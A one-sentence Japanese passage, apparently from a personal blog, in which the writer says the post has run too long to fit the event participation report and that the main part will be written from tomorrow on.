と、そんなことを書いているうちに長くなりすぎて、参加記を書く余白がなくなったので、本編は明日以降書いていきたいと思います。